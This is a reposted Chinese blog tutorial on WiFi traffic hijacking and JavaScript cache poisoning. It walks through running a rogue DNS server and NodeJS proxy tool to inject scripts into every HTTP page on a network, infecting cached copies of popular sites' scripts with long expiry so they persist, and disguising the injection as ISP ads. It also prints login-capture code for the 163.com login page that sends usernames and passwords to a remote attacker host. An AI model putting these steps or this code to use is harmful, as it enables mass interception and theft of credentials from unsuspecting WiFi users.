关注我们
QRcode 邮件联系 QRcode

WiFi流量劫持—— JS脚本缓存投毒

 feng  1,997 ℃  1条点评

在上一篇《WiFi流量劫持—— 浏览任意页面即可中毒》构思了一个时光机原型,让我们的脚本通过HTTP缓存机制,在未来的某个时刻被执行,因此我们可以实现超大范围的入侵了。

基于此原理,我们用NodeJS来实现一个简单的样例。得益于node强大的IO管理,以及各种封装好的网络模块,我们可以很容易实现这个想法:

 

  • 开启一个特殊的DNS服务:所有域名都解析到我们的电脑上。并把Wifi的DHCP-DNS设置为我们的电脑IP。
  • 之后连上Wifi的用户打开任何网站,请求都将被我们的node服务收到。我们根据http头中的host字段来转发到真正服务器上。
  • 收到服务器返回的数据之后,我们就可以实现网页脚本的注入,并返回给用户了!
  • 当注入的脚本被执行,用户的浏览器将依次预加载各大网站的常用脚本库。我们将其感染,并设置超长的缓存时间。

于是大功告成!

 

 

为了方便测试和控制,已把整个流程:DNS、HTTP代理、代码分析和注入都使用NodeJS编写,并整合在一起。下面就来测试一下!

获取Demo: (https://github.com/EtherDream/closurether

# npm install -g closurether

运行:

# closurether

启动成功的话,会输出:

[SYS] local ip: 192.168.1.250
[DNS] running 0.0.0.0:53
[WEB] listening 0.0.0.0:80
[WEB] listening 0.0.0.0:443

当然,192.168.1.250这是我本地的IP,推荐使用固定的IP地址。

打开无线路由器-DHCP配置,将主DNS设置为自己的IP,重启路由。到此,你已经控制了整个无线网络的流量了!

用另一台电脑连上你的wifi:

 

这时会发现,ping任何域名,不出意外的话都会返回你的IP,DNS劫持已发挥作用了!

复制代码
$ ping www.baidu.com
PING www.baidu.com (192.168.1.250): 56 data bytes
Request timeout for icmp_seq 0

$ ping www.google.com
PING www.google.com (192.168.1.250): 56 data bytes
Request timeout for icmp_seq 0
复制代码

 

打开任意网页,一切正常。我们可以在node控制台看到用户访问的每一个请求。

 

当然这时网页上什么效果也没出现。这个Demo毕竟是个间谍程序,怎么可能会有界面呢?

想看效果的话修改项目里的asset/inject/extern.js,往里面加一条:

alert('Hello World');

 

这时再刷新页面,效果出现了!

打开任意网页的源文件,发现其中都注入了我们的脚本内容。为了隐蔽性,这里将注入的脚本伪装成运营商的url,别人还以为是联通宽带插的广告 ^_^

具体想伪装成什么地址,可以在config.json里配置。

脚本内容正是asset/inject/extern.js文件:

到此,我们已实现把javascript代码注入到WiFi网络的HTTP流量里了!

下面测试我们的终极目标:能穿越到未来执行的脚本时光机。

 

前面仔细观察的话,不难发现注入的脚本内容里多出一大堆url,这些正是我们需要让用户预加载并缓存的各大网站脚本。具体原理在上一篇里已经详细讲解了。

如果想入侵更多的网站,往tool/cache-sniffer/url.txt里添加。运行:

$ phantomjs sniffer.js

程序将自动更新注入脚本的内容。

要想预加载并缓存一个脚本很容易,只需new Image().src='...'。当然有少数浏览器不支持,不过ie和chrome都是支持的。尽管js文件并不是一个图片,但仍然会缓存。

上一篇文章已说明,为了减少一次请求大量脚本文件消耗的带宽,我们并不返回真正的原始脚本文件,而是一个很小的“桩文件”,用来启动我们的入侵代码,以及恢复原始脚本文件。

因此这个“桩文件”代码量非常少,区区百来字节而已。例如hao123网站下的某个已被感染了的脚本:

我们创建两个script元素,来加载外网的入侵代码,以及恢复原始脚本代码,使网页能正常运行。注意:原始脚本url后面的?1必不可少,否则又会从缓存里加载被感染的当前脚本,进入死循环。

  使用document.write的好处在于,它创建的脚本是异步加载顺序执行的。所以在原始脚本未加载完之前,后面的脚本不会执行,避免了未定义错误的发生。

入侵代码的url可以在config.json里hacker_url字段配置。为了保证未来被感染的脚本被唤醒时,能正常调出你的入侵代码,所以选择一个可靠的外网来存放。

本Demo演示如何入侵并截获网易首页的账号,可以参考代码:http://jslog.sinaapp.com/ad.js

演示中的代码很简单,仅仅捕捉用户在网易首页上输入的账号和密码而已,然后传给后台保存到数据库里。

复制代码
    var url = location.href;
    if (/\.163\.com/i.test(url)) {
        function onSubmit() {
            post(
                NTES.one('#js_loginframe_username').value,
                NTES.one('input[type=password]').value
            );
        }

        NTES.one('.ntes-loginframe-btn').addEventListener('click', onSubmit);

        NTES.one('input[type=password]').addEventListener('keydown', function(e) {
            if (e.keyCode == 13) {
                onSubmit();
            }
        });
    }
复制代码

 

下面重启电脑,并连上家里的WiFi。(连过KFC的用户回家之后的情况)

这时用户的流量已完全不在我们的可控之中,看我们的脚本是否仍能从沉睡之中唤醒呢?

    

打开www.163.com,一切正常~

输入用户名密码,一切正常~

似乎并没有感觉到任何的异常。回到我们自己的电脑上来看看,后台的笼子里是否有猎物捕捉到。。。

很好,我们的入侵代码已成功执行,在用户离开了我们的网络之后依旧能够运行!只要登录了我们事先感染过的那些网站,入侵代码都将会被唤醒。

事实上,只要用户不清空缓存,这段代码终将附着在硬盘缓存里,直到过期。有可能是1个星期,甚至数月的时间。

所谓一时失足成千古恨莫过于此。一时大意连接了一个wifi热点,不经意间间谍已潜入你的浏览器缓存里。。。

 

==============================

使用NodeJS,我们只需数百行代码就实现了这个想法。当然,简单的同时缺点也是不言而喻的。node只提供了传输层的网络接口,我们无法操作底层网络数据。所以只能使用DNS劫持的方法来获得用户的流量。因此也就产生了一个非常纠结的问题:

怎样才能确定用户查询的域名是HTTP主机呢?

由于我们把所有的域名都解析到了自己的电脑上,因此包括其他的网络程序数据也转发到了我们这里。然而我们的node只监听了tcp:80端口,对于其他的端口则是完全忽略的。

即使我们监听了其他端口,我们也无法把收到的数据转发到真实的服务器 —— 我们根本不知道发到哪个地址上!

HTTP之所以能实现转发,得益于头部有个host字段;而非HTTP协议,甚至包括HTTPS,我们只能收到一堆二进制数据,然后就不知道的该交给谁了。

 

此问题虽然无法避免,但也有一定程度的解决方案:

1.) 事先收集各大网站的域名。之后用户查询的域名在列表里的话,直接返回自己的电脑IP;否则转发给外网DNS。

当记录足够多的话,我们可以拦截住用户大多数的网站流量。

但要收集大量的网站域名并不容易,而且仍会有不少的遗漏。因此我们使用更简单的方法:

 

2.) 仍然将所有的域名解析到自己电脑上,但域名TTL时间很短,几秒后就过期。

如果在之后的几秒时间里,收到访问这个域名的http请求(host字段是这个域名),那么就认为这个域名是http服务的;

如果规定时间里没有收到,那么就当做非http服务的域名。当域名ttl过期后,下次再查询这个域名时,就解析到外网真实的服务器IP了。反正不是http协议,收到了也没用。

3.) 尝试访问前来请求域名的80端口。如果能连接上,就当做是一个Web域名。就返回自己的IP。

 

目前使用方法3来识别域名。事实上基于DNS的流量劫持还有更大缺陷:

  • 如果用户手工设置的DNS怎么办?比如8.8.8.8的用户就非常多。
  • 不是80端口的网站又如何是好?难道我们要把1~65535的端口都监听吗?
  • 一个网站域名下同时有http和其他服务了,拦截就导致那个服务不可用了。
  • 最麻烦的当属纯IP的网站,那么就完全无法拦截了~

纠结之处就不再吐槽,不然就永远实现不了我们的想法了,以后再使用node扩展慢慢完善。

即便面临着不少问题,我们的Demo仍能顺利跑起来 —— 完全按照我们的预想运行!

 

 

==============================

当然,你在想这招也只能获取普通的账号而已,对于https加密的账号就无能为力了。

的确如此,不过别忘了https网站是如何登陆的呢?是用户在地址栏一个字符一个字符的敲入https...然后回车吗?

原文地址:http://www.cnblogs.com/index-html/p/wifi_hijack_3.html

本文标签:
苹果电脑Mac OS系统又爆高危漏洞 可取得控制权
发生在现实生活中家庭路由器入侵的真实案例
发生在现实生活中家庭路由器入侵的真实案例发生在现实生活中家庭路由器入侵的真实案例F5 iControl Remote Root Command Execution Exploit F5 iControl Remote Root Command Execution Exploit渗透测试工具Scylla v1配置追踪者渗透测试工具Scylla v1配置追踪者什么是QQ SID?能干什么用?什么是QQ SID?能干什么用?

已有1条评论,欢迎点评!

smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley smiley


注册帐号  |  忘记密码